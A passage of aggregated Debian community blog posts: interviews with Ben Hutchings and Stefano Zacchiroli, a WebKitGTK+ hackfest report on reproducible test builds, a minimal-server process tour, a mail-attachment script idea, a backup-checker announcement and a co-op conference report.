both been socially involved in Debian UK. In 2004 there was a bug-squashing party in Cambridge, and we attended that as well. That s where I really started contributing fixing bugs and learning about Debian packaging. Then in 2005 I made my first package (sgt-puzzles), attended DebConf, and was persuaded to enter the New Maintainer process. NM involved a lot of waiting, but by the time I was given questions and tasks to do I had learned enough to get through quite quickly. In April 2006 I was approved as a Debian Developer. Meanwhile, I looked at the videos from DebConf 5 and thought that it would be useful to distribute them on a DVD. That led me to start writing video software and to get involved in the video team for the next year s DebConf. Raphael: You have been one the main driver behind the removal of non-free firmwares from the kernel. Explain us what you did and what s the status nowadays? Ben: That s giving me a bit more credit than I deserve. For a long time the easy way for drivers to load firmware programs was to include them as a blob in their static data, but more recently the kernel has included a simple method for drivers to request a named blob at run-time. These requests are normally handled by udev by reading from files on disk, although there is a build-time option to include blobs in the kernel. Several upstream and distribution developers worked to convert the older drivers to use this method. I converted the last few of these drivers that Debian included in its binary packages. In the upstream Linux source, those blobs have not actually been removed; they have been moved to a firmware subdirectory. The long-term plan is to remove this while still allowing the inclusion of blobs at build-time from the separate linux-firmware repository. For now, the Debian source package excludes this subdirectory from the upstream tarball, so it is all free software. There are still a few drivers that have not been converted, and in Debian we just exclude the firmware from them (so they cannot be built). And from time to time a driver will be added to the staging section of Linux that includes firmware in the old way. But it s understood in the kernel community that it s one of the bugs that will have to be fixed before the driver can move out of staging . Raphael: Do you believe that Debian has done enough to make it easy for users to install the non-free firmwares that they need? Ben: The installer, the Linux binary packages and initramfs-tools will warn about specific files that may be needed but are missing. Users who have enabled the non-free section should then be able to find the necessary package with apt-cache search, because each of the
binaries built from the firmware-nonfree source package includes driver and file names within its description. For the installer, there is a single tarball that provides everything. We could make this easier, but I think we have gone about as far as we can while following the Debian Social Contract and Debian policy. Raphael: At some point in the past, the Debian kernel team was not working very well. Did the situation improve? Ben: Back in 2008 when I started working on the Linux kernel package to sort out the firmware issues, I think there were some problems of communication and coordination, and quite possibly some members were burned-out. Since then, many of the most active kernel team members have been able to meet face-to-face to discuss future plans at LPC 2009 in Portland and the 2010 mini-DebConf in Paris. We generally seem to have productive discussions on the debian-kernel mailing list and elsewhere, and I think the team is working quite well. Several new contributors have joined after me. I would say our biggest problem today is that we just don t have enough time to do all we want to. Certainly, almost all my Debian time is now taken up with integrating upstream kernel releases and handling some fraction of the incoming bug reports. Occasionally I can take the time to work on actual features or the other packages I m neglecting!

Our biggest problem today is that we just don t have enough time to do all we want to.

Raphael: It is widely known that Linux is maintained in a git repository. But the Debian kernel team is using Subversion. I believe a switch is planned. Why was not git used from the start? Ben: The linux-2.6 source package dates from the time when Linus made his first release using git. I wasn t part of the team back then so I don t know for sure why it was imported to Subversion. However, at that time hardly anyone knew how to use git, no-one had experience hosting public git repositories, and Alioth certainly didn t offer that option. Today there are no real blockers: everyone on the kernel team is familiar with using git; Alioth is ready to host it; we don t have per-architecture patches that would require large numbers of branches. But it still takes time to plan such a conversion for what is a relatively complex source package (actually a small set of related source packages). Raphael: What are your plans for Debian Wheezy? Ben: Something I ve already done, in conjunction with the installer team, is to start generating udebs from the linux-2.6 source package. The kernel and modules have to be repacked into lots of little udebs to avoid using too much memory during installation. The configuration for this used to be in a bunch of separate source packages; these could get out of step with the kernel build configuration and this would only be noticed some time later. Now we can update them both at the same time, they are effectively cross-checked on every upload, and the installer can always be built from the latest kernel version in testing or unstable. I think that we should be encouraging PC users to install the 64-bit build (amd64), but many users will still use 32-bit (i386) for backward compatibility or out of habit. On i386, we ve slightly reduced the variety of kernel flavours by getting rid of 686 and making 686-pae the default (previously this was called 686-bigmem ). This means that the NX security feature will be used on all systems that support it. It should also mean that the first i386 CD can have suitable kernel packages for all systems. I have been trying to work on providing a full choice of Linux Security Modules (LSMs). Despite their name, they cannot be built as kernel modules, so every enabled LSM is a waste of memory on the systems that don t use it. This is a significant concern for smaller Debian systems. My intent is to allow all unused LSMs to be freed at boot time so that we can happily enable all of them. I recently proposed to drop support for older x86 systems, starting with 486-class processors in wheezy. In general, this would allow the use of more compiler optimisations throughout userland and the kernel. However it seems that there isn t that much to be gained unless we also drop 586-class processors, and there are still quite a few of those in use. So I think this will have to wait. Uwe Kleine-K nig has been working to include real-time support (also known as PREEMPT_RT). This can provide low and very predictable I/O latency, which is useful for live audio synthesis, for example. It still requires a number of patches and a build configuration change, resulting in a separate binary package. We re currently only building that for 64-bit PCs. (You may notice this is missing for Linux 3.1, because the real-time developers skipped this release.) Raphael: What s the biggest problem of Debian? Ben: I think we try too hard to accommodate every possible option, without regard for the cost to developers and users in general. As an example, we now have sysvinit, file-rc, upstart and systemd all in testing. Daemon maintainers can t rely on any advanced features of upstart or systemd because we refuse to choose between them. And the decision to support the FreeBSD kernel means that we cannot choose upstart or systemd as the only option. So all daemon maintainers will have to maintain those baroque init scripts for the indefinite future. We really should be able to decide as a distribution that when one option is technically good and popular then it can be made the only option. But no-one really has the authority to do that, so we muddle along with the pretence that all the options are equally valid and functional, while none of them is supported as well as they should be.

We try too hard to accommodate every possible option, without regard for the cost to developers and users in general.

We also try to build every package on every architecture, in general. I m quite sure there are many (package, architecture) combinations that have no users, ever. But if at some point that combination FTBFS, developers will waste time investigating and fixing that time that could have been spent working on bugs and features that users actually care about. Yes, sure, portability is good but you can t prove portability just by making a package compile on every architecture. This also applies to the selection of drivers for the kernel, by the way. Raphael: Is there someone in Debian that you admire for their contributions? Well, there are many people, but I will pick out just a few: Steve McIntyre, for his work as DPL to improve communication with the various Debian derivatives and to bring fresh blood into various core teams. Also for being a generous host for countless Debian social and bug-squashing events. Stefano Zacchiroli, for improving further on communications with both downstream and upstream projects, and for regularly exercising his power to lead discussions to the benefit of the project. Julien Cristau, for maintaining good humour while not only fighting against the tide of graphics driver regressions in X and the Linux kernel but also working on release management. Jonathan Nieder, for taking on the unglamorous and frustrating task of kernel bug triage as a non-maintainer and developing it to a fine art.

---

Thank you to Ben for the time spent answering my questions. I hope you enjoyed reading his answers as I did.

Subscribe to my newsletter to get my monthly summary of the Debian/Ubuntu news and to not miss further interviews. You can also follow along on Identi.ca, Google+, Twitter and Facebook .

4 comments Liked this article? Click here. My blog is Flattr-enabled.

It s been a couple days since I returned from this year s WebKitGTK+ hackfest in A Coru a, Spain. The weather was very nice, not too cold and not too rainy, we had great food, great drinks and I got to meet new people, and hang out with old friends, which is always great! I think this was a very productive hackfest, and as usual a very well organized one! Thanks to the GNOME Foundation for the travel sponsorship, to our friends at Igalia for doing an awesome job at making it happen, and to Collabora for sponsoring it and granting me the time to go there! We got a lot done, and although, as usual, our goals list had many items not crossed, we did cross a few very important ones. I took part in discussions about the new WebKit2 APIs, got to know the new design for GNOME s Web application, which looks great, discussed about Accelerated Compositing along with Joone, Alex, Nayan and Martin Robinson, hacked libsoup a bit to port the multipart/x-mixed-replace patch I wrote to the awesome gio-based infrastructure Dan Winship is building, and some random misc. The biggest chunk of time, though, ended up being devoted to a very uninteresting (to outsiders, at least), but very important task: making it possible to more easily reproduce our test results. TL;DR? We made our bots and development builds use jhbuild to automatically install dependencies; if you re using tarballs, don t worry, your usual autogen/configure/make/make install have not been touched. Now to the more verbose version! The need For a couple years now we have supported an increasingly complex and very demanding automated testing infrastructure. We have three buildbot slaves, one provided by Collabora (which I maintain), and two provided by Igalia (maintained by their WebKitGTK+ folks). Those bots build as many check ins as possible with 3 different configurations: 32 bits release, 64 bits release, and 64 bits debug. In addition to those, we have another bot called the EWS, or Early Warning System. There are two of those at this moment: one VM provided by Collabora and my desktop, provided by myself. These bots build every patch uploaded to the bugzilla, and report build failures or passes (you can see the green bubbles). They are very important to our development process because if the patch causes a build failure for our port people can often know that before landing, and try fixes by uploading them to bugzilla instead of doing additional commits. And people are usually very receptive to waiting for EWS output and acting on it, except when they take way too long. You can have an idea of what the life of an EWS bot looks like by looking at the recent status for the WebKitGTK+ bots. Maintaining all of those bots is at times a rather daunting task. The tests require a very specific set of packages, fonts, themes and icons to always report the same size for objects in a render. Upgrades, for instance, had to be synchronized, and usually involve generating new baselines for a large number of tests. You can see in these instructions, for instance, how strict the environment requirements are yes, we need specific versions of fonts, because they often cause layouts to change in size! At one point we had tests fail after a compiler upgrade, which made rounding act a bit different! So stability was a very important aspect of maintaining these bots. All of them have the same version of Debian, and most of the packages are pinned to the same version. On the other hand, and in direct contradition to the stability requirement, we often require bleeding edge versions of some libraries we rely on, such as libsoup. Since we started pushing WebKitGTK+ to be libsoup-only, its own progress has been pretty much driven by WebKitGTK+ s requirements, and Dan Winship has made it possible to make our soup backend much, much simpler and way more featureful. That meant, though, requiring very recent versions of soup. To top it off, for anyone not running Debian testing and tracking the exact same versions of packages as the bots it was virtually impossible to get the tests to pass, which made it very difficult for even ourselves to make sure all patches were still passing before committing something. Wow, what a mess. The explosion^Wsolution So a few weeks back Martin Robinson came up with a proposed solution, which, as he says, is the nuclear bomb solution. We would have a jhbuild environment which would build and install all of the dependencies necessary for reproducing the test expectations the bots have. So over the first three days of the hackfest Martin and myself hacked away in building scripts, buildmaster integration, a jhbuild configuration, a jhbuild modules file, setting up tarballs, and wiring it all in a way that makes it convenient for the contributors to get along with. You ll notice that our buildslaves now have a step just before compiling called updated gtk dependencies (gtk is the name we use for our port in the context of WebKit), which runs jhbuild to install any new dependencies or version bumps we added. You can also see that those instructions I mentioned above became a tad simpler. It took us way more time than we thought for the dust to settle, but it eventually began to. The great thing of doing it during the hackfest was that we could find and fix issues with weird configurations on the spot! Oh, you build with AR_FLAGS=cruT and something doesn t like it? OK, we fix it so that the jhbuild modules are not affected by that variable. Oh, turns out we missed a dependency, no problem, we add it to the modules file or install them on the bots, and then document the dependency. I set up a very clean chroot which we could use for trying out changes so as to not disrupt the tree too much for the other hackfest participants, and I think overall we did good. The aftermath By the time we were done our colleagues who ran other distributions such as Fedora were already being able to get a substantial improvements to the number of tests passing, and so did we! Also, the ability to seamlessly upgrade all the bots with a simple commit made it possible for us to very easily land a change that required a very recent (as in unreleased) version of soup which made our networking backend way simpler. All that red looks great, doesn t it? And we aren t done yet, we ll certainly be making more tweaks to this infrastructure to make it more transparent and more helpful to the users (contributors and other people interested in running the tests). If you ve been hit by the instability we caused, sorry about that, poke mrobinson or myself in the #webkitgtk+ IRC channel on FreeNode, and we ll help you out or fix any issues. If you haven t, we hope you enjoy all the goodness that a reproducible testing suite has to offer! That s it for now, folks, I ll have more to report on follow-up work started at the hackfest soon enough, hopefully =).

Today I was idly performing some maintainence upon one of my hosts, and it crossed my mind to look beneath /etc in there I found:

/etc/python
/etc/python2.4
/etc/python2.5
/etc/python2.6

That made me look more closely at the contents of /etc - the following command output was surprising:

steve@steve:~$ ls /etc   wc -l
187

Is that average? Heavy? Light? I have no idea, but I purged a hell of a lot of software today. Now I have only python v2.6 although for some reason I still have:

python
python-apt
python-apt-common
python-central
python-minimal
python-support
python2.6
python2.6-minimal

I suspect I could drop the pything2.6-minimal package, but for the moment I'm done. I have to make pretty people look exceptional with my magical camera. Anyway as part of this cleanup I ran a quick sanity-check on which processes are running and I think, short of kernel processes, I'm as minimal as I can be. I understand the purpose and reason for every running service:

UID        PID  CMD
root         1  init [2]
pdnsd    14091  /usr/sbin/pdnsd --daemon -p /var/run/pdnsd.pid
root     14199  /usr/sbin/monit -c /etc/monit/monitrc -s /var/lib/monit/monit.state
root     14206  /usr/sbin/syslog-ng -p /var/run/syslog-ng.pid
root     14234  /usr/sbin/cron
102      14595  /usr/sbin/exim4 -bd -q30m
redis    14627  /usr/bin/redis-server /etc/redis/redis.conf
root     14637  /usr/sbin/sshd

These are basic services; I use monit to ensure those essential daemons keep running. The only oddity there is probably the local DNS cache, but it is useful if you run any kind of DNS blacklist-using service, for example.

root     14794  /sbin/getty -L ttyS0 9600 vt100

I need a serial console login for emergencies.

root     14796  runsv node-reverse-proxy
root     14797  /bin/sh ./run
root     14799  /opt/node/bin/node node-reverse-proxy.js --config ./rewrites.js

These three processes combine to run my reverse proxy which routes incoming HTTP requests to a number of local thttpd instances.

qpsmtpd  27309    /usr/bin/perl -Tw /usr/bin/qpsmtpd-prefork --port 25 --user qpsmtpd --pid-file /var/run/qpsmtpd/qpsmtpd.pid --detach
..

The perl SMTP daemon which runs my incoming mail, passing it to exim4 which listens upon 127.0.0.1:2525. You can read about my setup in the out-of-date writeup Chris & I put together.

 /usr/bin/memcached -m 64 -p 11211 -u root -l 127.0.0.1

Memory cache for transient items.

s-blog    thttpd -C /etc/thttpd/sites.enabled/blog.steve.org.uk
1030      thttpd -C /etc/thttpd/sites.enabled/edinburgh-portraits.com
s-hg      thttpd -C /etc/thttpd/sites.enabled/hg.steve.org.uk
s-ipv4    thttpd -C /etc/thttpd/sites.enabled/ipv4.steve.org.uk
s-ipv6    thttpd -C /etc/thttpd/sites.enabled/ipv6.steve.org.uk
s-kvm     thttpd -C /etc/thttpd/sites.enabled/kvm-hosting.org
...

One thttpd instance is launched for each distinct HTTP site my server runs. Each site runs under its own UID, with its own chrooted directory tree. This is important for security. Each local instance listens upon 127.0.0.1 - and the reverse proxy previously mentioned rewrites connections to the appropriate one.

1016     28812     /usr/bin/perl -I./lib/ -I./ /usr/local/bin/blogspam

My anti-spam filter for blog comments.

Here is my christmas challenge. Can you identify each service upon your host? Do you know why you're running what you're running? Me? I had no idea I had a dbus deamon running. Now I've purged it. Ha! ObQuote - "I owe everything to George Bailey. Help him, dear Father." - It's a wonderful life.

I wrote a quick proof-of-concept script that can traverse my email (in local Maildir format) and detach all attachments: saving them to another location and replacing them with a text attachment which documents where they've gone. This reduces my work mailbox size substantially and allows for more space-efficient storage of the attachments (utilising all 8 bits of the byte, at the very least, but with the potential for compression to be added to the mix). It maintains the link between email and attachment, however, which is crucial if the method of discovery of the attachment in the future is to find the email. For this to be future proof, the path where the mail is saved needs to be. The best scheme I can think of involves dedicating a sub-domain to the problem and using a URI scheme which is guaranteed1 to be unique for the attachment, such as a hash-sum:

https://file.example.com/sha1/509c2fe2eba509e93987c3024a74d74583c274bd

I could finish up my script, set my my own personal infrastructure for this and convert my mailbox with a few hours more work. Before I do, I have two questions:

• Is this already available in an open source tool: am I re-inventing the wheel needlessly?
• Would anyone else find this useful?

You make backups? That s great! But are they usable? The very day you will need your backup to restore your infrastructure, are you sure this backup you make three months ago contains the only file you need to restart your production environment? Are you sure this backup is not corrupted? Are you sure you do not store irrelevant or empty files instead of the ones you will need one day? Brebis is a fully automated backup checker. Brebis is written in Python 3 (>=3.2) and comes under the GPLv3 license. The current version is 0.4 (direct download). Some features (extensive list of features available here):

• Support of tar files, compressed with gzip or bzip2 or not, zip files, gzip or bzip2 files and uncompressed trees of files.
• Identify corrupted archives, unexpected size or type for an archive, associated wrong hash sums, Unix rights and owner users/groups of the archive thanks to a list you provide.
• Inside the archive, identify missing files, unexpected ones, unexpected size of a file, wrong associated hash sums, unexpected mode, type or owner users/groups for a file thanks to a list you provide or generate from a given archive.

It s been one year since the first People behind Debian interview. For this special occasion, I wanted a special guest and I m happy that our Debian Project Leader (DPL) Stefano Zacchiroli accepted my invitation. He has a difficult role in the community, but he s doing a really great job of it. He s a great mediator in difficult situations, but he s also opinionated and can push a discussion towards a conclusion. Read on to learn how he became a Debian developer and later DPL, what he s excited about in the next Debian release, and much more. Raphael: Who are you? Stefano: I m Stefano Zacchiroli, but I prefer to be called Zack, both on the Internet and in real life. I m 32, Italian, emigrated to France about 4 years ago. I live in Paris, and I find it to be one of the most gorgeous and exciting cities in the world. As my day job I m a Computer Science researcher and teacher at University Paris Diderot and IRILL. In my copious free time I contribute to Debian, and I m firmly convinced that doing so is an effective way to help the cause of Free Software. Besides, I find it to be a lot of fun! Raphael: How did you start contributing to Debian? Stefano: Flash back to 1999, when I was a 2nd year student in Computer Science at the University of Bologna. Back then in Italy it was uncommon for young geeks to get exposed to Free Software: Internet was way less pervasive than today and most computer magazines didn t pay much attention to GNU/Linux. Luckily for me, the professor in charge of the student lab was a Free Software enthusiast and all students machines there were running Debian. Not only that, but there was also a student program that allowed volunteers to become sysadmins after having shown their skills and convinced the director they were trustworthy. Becoming one of those volunteer Debian admins quickly became one of my top objectives for the year, and that is were I ve learned using Debian. The year after that, I got in touch with a research group that was to become the happy bunch of hackers with whom I would have done both my master and PhD theses. They were designing a new proof assistant. Most of the development was in OCaml and happened on Debian. OCaml was available in Debian, but many of the libraries we needed were not. So I approached the Debian OCaml Team offering to help. Before I realize what was going on I was (co-)maintainer of tens of OCaml-related packages. At some point I got told I think you should apply as a Debian Developer . So I did and in a couple of months I went through the New Member (NM) process, that was back then in its infancy. I still remember my happiness while reading the account created mail, the day after my 22nd birthday. I know the NM process went through some bad publicity in the past, but I m happy to see that nowadays the process can be as swift as it has been for me 10 years ago. Raphael: It s your second year as Debian Project Leader (DPL). Are you feeling more productive in the role? Do you fear to burn out? Stefano: I m feeling way more productive, no doubts. The task of the Debian Project Leader is not necessarily difficult, but it is a complex and scarcely documented one. It is also profoundly different from any other task that Debian people usually work on, so that experience doesn t help much in getting started. Before becoming effective as DPL one needs to get to know many people and mechanisms he is not familiar with. More importantly, one needs to set up a personal work-flow that allows to keep up with day-to-day DPL tasks (which are aplenty) as well as with urgencies (that tend to pop-up in the leader@debian.org INBOX at the least convenient time). Finally, one also needs to do proper traffic shaping and always retain enough motivation bandwidth to keep the Project informed about what is going on in DPL-land. Finding the right balance among all these ingredients can take some time. Once one is past it, everything goes way more smoothly. The above is why I m constantly encouraging people interested in running for DPL in the future to reach out to me and work on some tasks of the current DPL s TODO list. I swear it is not just a cheap attempt at slavery!. It is rather an attempt at DPL mentoring that could be beneficial: both to give future candidates more awareness of the task, and to reduce the potential downtime when handing over from one DPL to the next. Regarding burn out, I don t feel prone to its risk these days. If I look back, I can say that my contributions as DPL have been pretty constant in volume over time; my enthusiasm for the task, if anything, is on the rise. The effectiveness of my contributions as DPL are, on the other hand, not mine to judge. Raphael: If you had to single out two achievements where you were involved as DPL, what would they be? Stefano: I d go for the following two, in no particular order:

• Dialogue with derivatives. When I became DPL ~1.5 years ago the situation on that front was pretty dire. In the specific case of Ubuntu, by far the most successful and customized of all Debian derivatives, I remember being scared of raising the topic of collaboration with them on mailing lists. More generally, we had no specific initiatives to foster technical collaboration with and among derivatives. A huge potential of (forwarded) contributions to Debian was being wasted. Today things look much better, as I ve documented in recent talks at DebConf11 and UDS-P. The amount of forwarded patches we receive from downstream is at its maximum and many people who apply to become Debian Developers come from derivatives. Conflict situations still exist, for good reasons that we still have to either fix or figure out entirely. But I m positive we re on the right track.

  The amount of forwarded patches we receive from downstream is at its maximum

  This is by far not an achievement of mine alone. In particular, many of the activity of the Derivatives Front Desk have been organized by other enthusiastic volunteers. But I ve done my part, especially in breaking the ice and in proposing a vision of Free Software distribution where all distros play a role and are welcome to join the game, as long as they give back and give credit to their respective upstreams.
• Process membership. I m proud of having promoted the general resolution (GR) that has clarified (and advertised to the world) that Debian welcomes all kind of contributions, and that they all equally matter to become proper members of the Project. I notice only now while writing this that the GR title, traditionally chosen by the secretary, was Debian Project Members . That choice harmonically closes the circle with the recent renaming of the NM process to New Member process. Today, we have several project members (AKA Debian Developers ) that are active citizen of Debian with voting rights, even though they take care of tasks other than packaging. Anyone can become a Debian citizen, as long as they are ready to abide by Debian s values, have a track record of verifiable contributions to Debian, and are committed to keep them coming in the future.

  We have several project members that [ ] take care of tasks other than packaging.

  Once gain, this is by far not an achievement of mine alone, very little project-wide achievements are. DAM has helped a lot and support from the project as a whole has been immense.

OK, let me cheat and add a third one I m also proud of having been able to report to the Project my whereabouts as DPL, thoroughly and periodically, since the very beginning is first term. People annoyed by my reporting logorrhea now have all my sympathies. Raphael: Among the possible new features of Debian Wheezy, which one gets you excited most? Stefano: It s multi-arch, no doubt. Even though it is not a directly user visible change, it s a very far reaching one. It is also one of those changes that make me feel that moment of truth of coders, when you realize you are finally doing the right thing and ditching piles of ugly hacks.

It s multi-arch [ ] you realize you are finally doing the right thing and ditching piles of ugly hacks.

Raphael: If you were not DPL and could spend all your time on Debian, what project would you do? Stefano: I would sit down and do software development for Debian. It s impressive how many important and beneficial changes for Debian could be delivered by specific software improvements in various parts of our infrastructure. We tend to attract many packagers, but not so many people willing to maintain Debian infrastructure softwares like dak, britney, debbugs, the PTS, etc. Their maintenance burden then falls on the shoulders of the respective teams which are generally very busy with other important tasks. As a project, we seem to be more appealing to packagers than to software developers. That is a pity given the amount of exciting coding tasks that are everywhere in Debian. Part of the reason we are not appealing to developers is that we are not particularly good at collecting coding tasks in a place where interested developers could easily pick them up. It also takes quite a bit of inside knowledge to spot infrastructure bugs and understand how to fix them. I long for some spare hacking time to check if I m still good enough of a coder to hunt down longstanding bugs in our infrastructure, which have ended up being my pet peeves. I d also love to dive again into RCBW. It s less committing than package maintenance, more diverse and challenging, and also an immensely useful activity to get Debian releases done. Raphael: Martin Michlmayr is worried that there is so few paid opportunities around Debian. Do you agree with his sentiment, and if yes do you have ideas on how to improve this situation? Stefano: The idealistic me wishes Debian to be a community made only of volunteers that devote their free time to the Project. Oh, and that me also wishes Debian to be competitive with similar projects, no matter how many full-time employees others have! That is coherent with a view of society where everyone has a day job, but also engages in volunteering activities ensuring that public interest is pursued by people motivated by interests other than profit. But I do realize that for Free Software to succeed companies, employees, and salaries should all have a role. I admire projects that strike a good balance between volunteer and paid work. The Linux kernel is emblematic in that respect: many developers are paid by companies that have a commercial or strategic interest in Linux. Nevertheless volunteers contributions are aplenty and the Linux community gives a convincing impression that choices are driven by the community itself (or by its benevolent dictator) without money-driven impositions.

I do realize that for Free Software to succeed companies, employees, and salaries should all have a role.

Such an ecosystem does not exist around Debian. We do have a partner program that allows for it to happen, but we have very few partners with an interest in doing distribution development work. Like Martin, I m worried by this state of affairs, because it de facto means we lag behind in terms of available people power. In a community of volunteers, that might frustrate people and that is not good. To improve over the status quo the first step is to federate together small and medium companies that have a strategic interest in Debian and listen to their needs. I m already in touch with representatives of such companies that, in many cases, already employ Debian Developers to do some distribution work in Debian. We will be soon sending out a call to reach out to more such companies, but since we are discussing this, why waiting? If some of our readers here are representative of such companies, I encourage them to get in touch with me about this. Raphael: You know that the fundraising campaign for the Debian Administrator s Handbook is on good track but the liberation of the book is not yet assured. What do you think of this project? Stefano: I m happy about the project, to the point that I ve accepted writing a testimonial for it . I m sad about the scarce availability of up to date and high quality (DFSG-)Free books about Debian and I welcome any initiative that might help closing that gap.

I m sad about the scarce availability of up to date and high quality (DFSG-)Free books about Debian.

Free Culture is a great offspring of Free Software and I m convinced we need to stand up against double standards in the two camps. Letting aside software-specific licensing details, the basic freedoms to be defended are the same. They are those freedoms that ensure that a reader is in full control of his book, pretty much as they ensure that a computer user is in full control of the software that runs on it. I m therefore proud that Debian has long resolved that the Debian Free Software Guidelines (DFSG) apply not only to software but also to books and other pieces of documentation. But the status quo implies that not only we have very few up to date, high quality books about Debian. It also implies that, at present, we have no such book that we can distribute in the Debian archive, showing off the Free Software (and Free Culture!) values we stand for.
Crowdfunding is considered to be a good mate for Free Culture, where the services model that applies to Free Software is more difficult to exploit. I so wish any luck to yours and Roland s initiative. A different matter is whether Debian, as a project, should endorse the initiative and actively campaign for it. As you know, I think it should not. While we do advertise general project donations, we don t do mission-specific fundraising campaign for Debian itself. Coherently with that, I don t think we should relay crowdfunding campaigns for 3rd parties, even when the result would be beneficial to Debian. Raphael: Is there someone in Debian that you admire for their contributions? Stefano: There are two classes of people that I particularly admire in Debian:

• Those with an uncanny ability to guide discussions towards constructive conclusions. We are lucky to have many in Debian and I admire all of them. Having to single out one I d name Russ Allbery, in honor of whom I hereby propose the periodic Russ Allbery s Distinguished Flametamer Award .
• People stepping up for responsibility roles, especially when the responsibility put them in tough spots. Release teams, ftp-masters, DSA, DAM, as well as past and present members of teams with similarly hot seats have all my admiration.

---

Thank you to Zack for the time spent answering my questions. I hope you enjoyed reading his answers as I did.

Subscribe to my newsletter to get my monthly summary of the Debian/Ubuntu news and to not miss further interviews. You can also follow along on Identi.ca, Google+, Twitter and Facebook .

7 comments Liked this article? Click here. My blog is Flattr-enabled.

Last Friday (11 November 2011), I was at the Cooperatives-SW annual conference at the Cube Cinema in Bristol, titled Growing Your Co-operative and sponsored by the Co-operative Membership South and West. It was another sold-out event, featuring headline talks from Co-op Party member and Labour MP Kerry McCarthy, Eli Sarre of Essential Trading worker co-op (pictured), Carole Theyer of Sparks Inc and Jim Pettipher from Co-operative Futures. There were also some great workshops I went to a finance workshop led by Ian Rothwell from Co-operative and Community Finance and a regulations one with Paul Martin of Kabin (details may appear on their event page) and a brilliant lunch from Runcible Spoon (and those of you who know me will know I have been livid with some co-op event lunches!) with some time to chat and network, although I also went to a fringe meeting about the RISE problems. The event concluded with the formal AGM of Co-operatives SW (electing a new chairperson and approving transfer to a new co-op corporation) as well as a bit more chat afterwards. I felt it was a great event and well worth my time being there. I m glad that some people from outside the co-op movement, from community businesses like the Strawberry Line Cafe and a few people considering joining or forming co-ops, were there and I hope it was good for them too.